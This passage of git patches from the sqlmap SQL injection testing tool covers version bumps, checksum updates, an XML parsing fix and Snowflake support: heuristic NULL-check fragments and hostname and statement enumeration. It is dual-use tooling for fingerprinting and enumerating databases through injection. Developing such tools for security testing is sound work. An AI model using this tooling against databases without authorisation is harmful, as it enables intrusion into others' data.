elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO, DBMS.ALTIBASE, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.EXTREMEDB, DBMS.FRONTBASE, DBMS.RAIMA, DBMS.VIRTUOSO, DBMS.SNOWFLAKE): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop diff --git a/lib/core/settings.py b/lib/core/settings.py index 17db932ce8b..afd66c6cd4d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.26" +VERSION = "1.10.1.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -799,7 +799,7 @@ CHECK_SQLITE_TYPE_THRESHOLD = 100 # Boldify all logger messages containing these "patterns" -BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed") +BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response", "NULL connection is supported", "PASSED", "FAILED", "for more than", "connection to ", "will be trimmed", "counterpart to database") # Regular expression used to search for bold-patterns BOLD_PATTERNS_REGEX = '|'.join(BOLD_PATTERNS) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b09b7513ebe..7f05d50ef38 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -83,7 +83,7 @@ def getCurrentDb(self): if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.SNOWFLAKE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" From 04bf68f4eab698aeb603471503072bd975d39b58 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 20:22:29 +0100 Subject: [PATCH 030/135] Fixes #6005 --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/parse/payloads.py | 9 +++++---- 3 files changed, 8 insertions(+), 7 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index c3a2bafecea..690aec81295 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -c5b19612760a7cf54bd9f86670289ecc21882cafd6c1065e8c9c5b328b0bdb07 lib/core/settings.py +0917978a3c8cdcc2b3a746d21b153a21ab9fb9c93746a8f500b125ca37b99a65 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -206,7 +206,7 @@ c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/hand 97361d481a97b600a3086b7f228f54ffa68a78df8b63b76bfaa5495d66770b63 lib/parse/headers.py 1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952 lib/parse/html.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py -4ca378496510a02c0184b45107889625dc7faf459073e83b3520c66674049af4 lib/parse/payloads.py +d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py 80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff lib/parse/sitemap.py 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py a1c638493ecdc5194db7186bbfed815c6eed2344f2607cac8c9fa50534824266 lib/request/basic.py diff --git a/lib/core/settings.py b/lib/core/settings.py index afd66c6cd4d..0845e3aadcb 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.27" +VERSION = "1.10.1.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index 9060e633579..24ee83e1a6d 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -44,7 +44,7 @@ def parseXmlNode(node): for element in node.findall("boundary"): boundary = AttribDict() - for child in element: + for child in element.findall("*"): if child.text: values = cleanupVals(child.text, child.tag) boundary[child.tag] = values @@ -56,18 +56,19 @@ def parseXmlNode(node): for element in node.findall("test"): test = AttribDict() - for child in element: + for child in element.findall("*"): if child.text and child.text.strip(): values = cleanupVals(child.text, child.tag) test[child.tag] = values else: - if len(child.findall("*")) == 0: + progeny = child.findall("*") + if len(progeny) == 0: test[child.tag] = None continue else: test[child.tag] = AttribDict() - for gchild in child: + for gchild in progeny: if gchild.tag in test[child.tag]: prevtext = test[child.tag][gchild.tag] test[child.tag][gchild.tag] = [prevtext, gchild.text] From 3d70e2511ba28cc6512dae7f6ca27cc15a4a6fea Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 20:24:13 +0100 Subject: [PATCH 031/135] Trivial update --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- lib/core/testing.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 690aec81295..08de254215a 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,11 +189,11 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0917978a3c8cdcc2b3a746d21b153a21ab9fb9c93746a8f500b125ca37b99a65 lib/core/settings.py +74d0189039d4de82ee513e5869262257ea9d24b56dd597f4d1b64e47f1c0333f lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py -b942d164a8a22ff19a99fde94410cfb3434b0496ceb1fcb0a319e7cc6b6d2e9b lib/core/testing.py +ddf8c5a3dbebd6cdf8b8ba4417e36652d1e040f025175cb6487f1aebc0208836 lib/core/testing.py cf4dca323645d623109a82277a8e8a63eb9abb3fff6c8a57095eb171c1ef91b3 lib/core/threads.py b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py 10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 0845e3aadcb..4040711dbc6 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.28" +VERSION = "1.10.1.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index be66bf14bf7..a8d3182680b 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -183,7 +183,7 @@ def _thread(): for options, checks in TESTS: status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS))) - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) if IS_WIN and "uraj" in options: options = options.replace(u"\u0161u\u0107uraj", "sucuraj") @@ -282,7 +282,7 @@ def smokeTest(): count += 1 status = '%d/%d (%d%%) ' % (count, length, round(100.0 * count / length)) - dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status)) + dataToStdout("\r[%s] [INFO] completed: %s" % (time.strftime("%X"), status)) def _(node): for __ in dir(node): From 88f22c34400e870b432e4b1d31e0ae5c60c1c336 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 21:28:41 +0100 Subject: [PATCH 032/135] Heuristic checks for Snowflake implementation (#5980) --- data/txt/sha256sums.txt | 6 +++--- data/xml/errors.xml | 7 +++++++ lib/core/dicts.py | 3 ++- lib/core/settings.py | 2 +- 4 files changed, 13 insertions(+), 5 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 08de254215a..883160555a4 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -78,7 +78,7 @@ a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banne e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml 3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml 1ac399c49ce3cb8c0812bb246e60c8a6718226efe89ccd1f027f49a18dbeb634 data/xml/boundaries.xml -47c444f260fcba24bb1f13e3d4819ed846909f8d2b6e715069d6372ea30f026f data/xml/errors.xml +ffb3ce7c98e033b5fb7f392f833aa08781041d958b97c53179d1d667237b51af data/xml/errors.xml cfa1f0557fb71be0631796a4848d17be536e38f94571cf6ef911454fbc6b30d1 data/xml/payloads/boolean_blind.xml f2b711ea18f20239ba9902732631684b61106d4a4271669125a4cf41401b3eaf data/xml/payloads/error_based.xml b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml @@ -175,7 +175,7 @@ c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data. e396b7971d38896e0e20b973a3a6a3fbc3171d080a21bc6e66a65bee452fd69c lib/core/datatype.py e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decorators.py 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py -76e2c68051c2c1d811d09eec1ca63bc146f4d047708d6296be1460d047743074 lib/core/dicts.py +62f64070ad11cc2e48cbed81bf2bc2ec3212de990f0d4cf40befc741c8960425 lib/core/dicts.py 143f0b5b30e0f24b3527945879497de1542ba1aee9e6f0f98865e626c4c9317e lib/core/dump.py 1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418 lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -74d0189039d4de82ee513e5869262257ea9d24b56dd597f4d1b64e47f1c0333f lib/core/settings.py +7012d1e019603ca9db4c3e1d8ebb6defc5425710e711b2ba3e5fb79a2054ab49 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 74555d54ab3..4913733709a 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -237,4 +237,11 @@ + + + + + + + diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 29b249a1a84..f4822ceae98 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -290,7 +290,8 @@ DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", - DBMS.CLICKHOUSE: "halfMD5(NULL) IS NULL", + DBMS.CLICKHOUSE: "halfMD5(NULL)", + DBMS.SNOWFLAKE: "BOOLNOT(NULL)", } SQL_STATEMENTS = { diff --git a/lib/core/settings.py b/lib/core/settings.py index 4040711dbc6..c2dc58ff1cf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.29" +VERSION = "1.10.1.30" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 9e29d7af8cc631c524d37015afef9bcfd50c3353 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 22:02:03 +0100 Subject: [PATCH 033/135] Fixing a typo for Snowflake implementation (#5980) --- data/txt/sha256sums.txt | 4 ++-- lib/core/settings.py | 2 +- plugins/dbms/snowflake/enumeration.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 883160555a4..20dc94464da 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -7012d1e019603ca9db4c3e1d8ebb6defc5425710e711b2ba3e5fb79a2054ab49 lib/core/settings.py +9d23aa2c1f2e47fdd94a44d6741cadba48c64ee692d57f4510dcdab0532a4f0a lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -435,7 +435,7 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py 5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py 5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py -bca8e2de881b59314e84f361682e810333b63f8211e6aa5f5a4d0efe1d9bcd31 plugins/dbms/snowflake/enumeration.py +0589131bb487db86fc3eb17349b7cf59a511569fed4b48a9a54adab663ff627e plugins/dbms/snowflake/enumeration.py 3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py 16c215879ce089b408c7ee3b1a57b44d18f571623e63318384ce0358f5d0441a plugins/dbms/snowflake/fingerprint.py 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py diff --git a/lib/core/settings.py b/lib/core/settings.py index c2dc58ff1cf..a08a0a62665 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.30" +VERSION = "1.10.1.31" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py index f95e448839c..a6405df4a6e 100644 --- a/plugins/dbms/snowflake/enumeration.py +++ b/plugins/dbms/snowflake/enumeration.py @@ -29,7 +29,7 @@ def searchColumn(self): raise SqlmapUnsupportedFeatureException(errMsg) def getPrivileges(self, *args, **kwargs): - warnMsg = "on SQLite it is not possible to enumerate the user privileges" + warnMsg = "on Snowflake it is not possible to enumerate the user privileges" logger.warning(warnMsg) return {} From 07aa7f994d48748ed3272b08673520b77a5c878d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 22:35:56 +0100 Subject: [PATCH 034/135] Adding support for --hostname to Snowflake implementation (#5980) --- data/txt/sha256sums.txt | 6 +++--- data/xml/queries.xml | 2 +- lib/core/settings.py | 2 +- plugins/dbms/snowflake/enumeration.py | 4 ---- 4 files changed, 5 insertions(+), 9 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 20dc94464da..ab868753d81 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,7 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -b570da4351a22b9ff59c875cfb39d426e439f857826f139388af9b66853465ec data/xml/queries.xml +db7a102b534fabad5faf4f26aa8ec9ca842f085b91fced63916e2258019acfc5 data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -9d23aa2c1f2e47fdd94a44d6741cadba48c64ee692d57f4510dcdab0532a4f0a lib/core/settings.py +0f299609f0c0306e1a2ae38e8c871a1ffd35308cdf515fecd8905a4f718d2858 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -435,7 +435,7 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py 5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py 5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py -0589131bb487db86fc3eb17349b7cf59a511569fed4b48a9a54adab663ff627e plugins/dbms/snowflake/enumeration.py +7272034efee54253ebe8177ae51fc84f1361fc8566be906f1918a55089914090 plugins/dbms/snowflake/enumeration.py 3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py 16c215879ce089b408c7ee3b1a57b44d18f571623e63318384ce0358f5d0441a plugins/dbms/snowflake/fingerprint.py 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 7be0bb174b0..bf90c4c858e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1806,7 +1806,7 @@ - + diff --git a/lib/core/settings.py b/lib/core/settings.py index a08a0a62665..66dfe48137f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.31" +VERSION = "1.10.1.32" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py index a6405df4a6e..e3413c834ae 100644 --- a/plugins/dbms/snowflake/enumeration.py +++ b/plugins/dbms/snowflake/enumeration.py @@ -15,10 +15,6 @@ def getPasswordHashes(self): logger.warning(warnMsg) return {} - def getHostname(self): - warnMsg = "on Snowflake it is not possible to enumerate the hostname" - logger.warning(warnMsg) - def searchDb(self): warnMsg = "on Snowflake it is not possible to search databases" logger.warning(warnMsg) From ef6c3d40d323e24fd0818b8417207a619ccde373 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 12 Jan 2026 22:41:42 +0100 Subject: [PATCH 035/135] Adding support for --statements to Snowflake implementation (#5980) --- data/txt/sha256sums.txt | 6 +++--- data/xml/queries.xml | 5 ++++- lib/core/settings.py | 2 +- plugins/dbms/snowflake/enumeration.py | 5 ----- 4 files changed, 8 insertions(+), 10 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index ab868753d81..0c553af71fd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -85,7 +85,7 @@ b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -db7a102b534fabad5faf4f26aa8ec9ca842f085b91fced63916e2258019acfc5 data/xml/queries.xml +0611cc39f16b90ce2e328f48f1f6f8fc4c346f39667581874160e5dd8975d539 data/xml/queries.xml abb6261b1c531ad2ee3ada8184c76bcdc38732558d11a8e519f36fcc95325f7e doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md 7af515e3ad13fb7e9cfa4debc8ec879758c0cfbe67642b760172178cda9cf5cb doc/THANKS.md @@ -189,7 +189,7 @@ e18c0c2c5a57924a623792a48bfd36e98d9bc085f6db61a95fc0dc8a3bcedc0c lib/core/decor 48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py 3574639db4942d16a2dc0a2f04bb7c0913c40c3862b54d34c44075a760e0c194 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0f299609f0c0306e1a2ae38e8c871a1ffd35308cdf515fecd8905a4f718d2858 lib/core/settings.py +f9eb99d0a69765d0db03803ee6bc7596b9d69731b5842a80abea9fb5f94974f7 lib/core/settings.py cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py @@ -435,7 +435,7 @@ b76606fe4dee18467bc0d19af1e6ab38c0b5593c6c0f2068a8d4c664d4bd71d8 plugins/dbms/r 1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/raima/syntax.py 5b9572279051ab345f45c1db02b02279a070aafdc651aedd7f163d8a6477390b plugins/dbms/raima/takeover.py 5744531487abfb0368e55187a66cb615277754a14c2e7facea2778378e67d5c9 plugins/dbms/snowflake/connector.py -7272034efee54253ebe8177ae51fc84f1361fc8566be906f1918a55089914090 plugins/dbms/snowflake/enumeration.py +4b4c3631d347c7fba3759e920086f89816f342ecb41042d1141c84ba4883a865 plugins/dbms/snowflake/enumeration.py 3b52302bc41ab185d190bbef58312a4d6f1ee63caa8757309cda58eb91628bc5 plugins/dbms/snowflake/filesystem.py 16c215879ce089b408c7ee3b1a57b44d18f571623e63318384ce0358f5d0441a plugins/dbms/snowflake/fingerprint.py 1de7c93b445deb0766c314066cb122535e9982408614b0ff952a97cbae9b813a plugins/dbms/snowflake/__init__.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index bf90c4c858e..3067e17277b 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1835,7 +1835,10 @@ - + + + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 66dfe48137f..82149bf913b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.1.32" +VERSION = "1.10.1.33" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/snowflake/enumeration.py b/plugins/dbms/snowflake/enumeration.py index e3413c834ae..584ceb020da 100644 --- a/plugins/dbms/snowflake/enumeration.py +++ 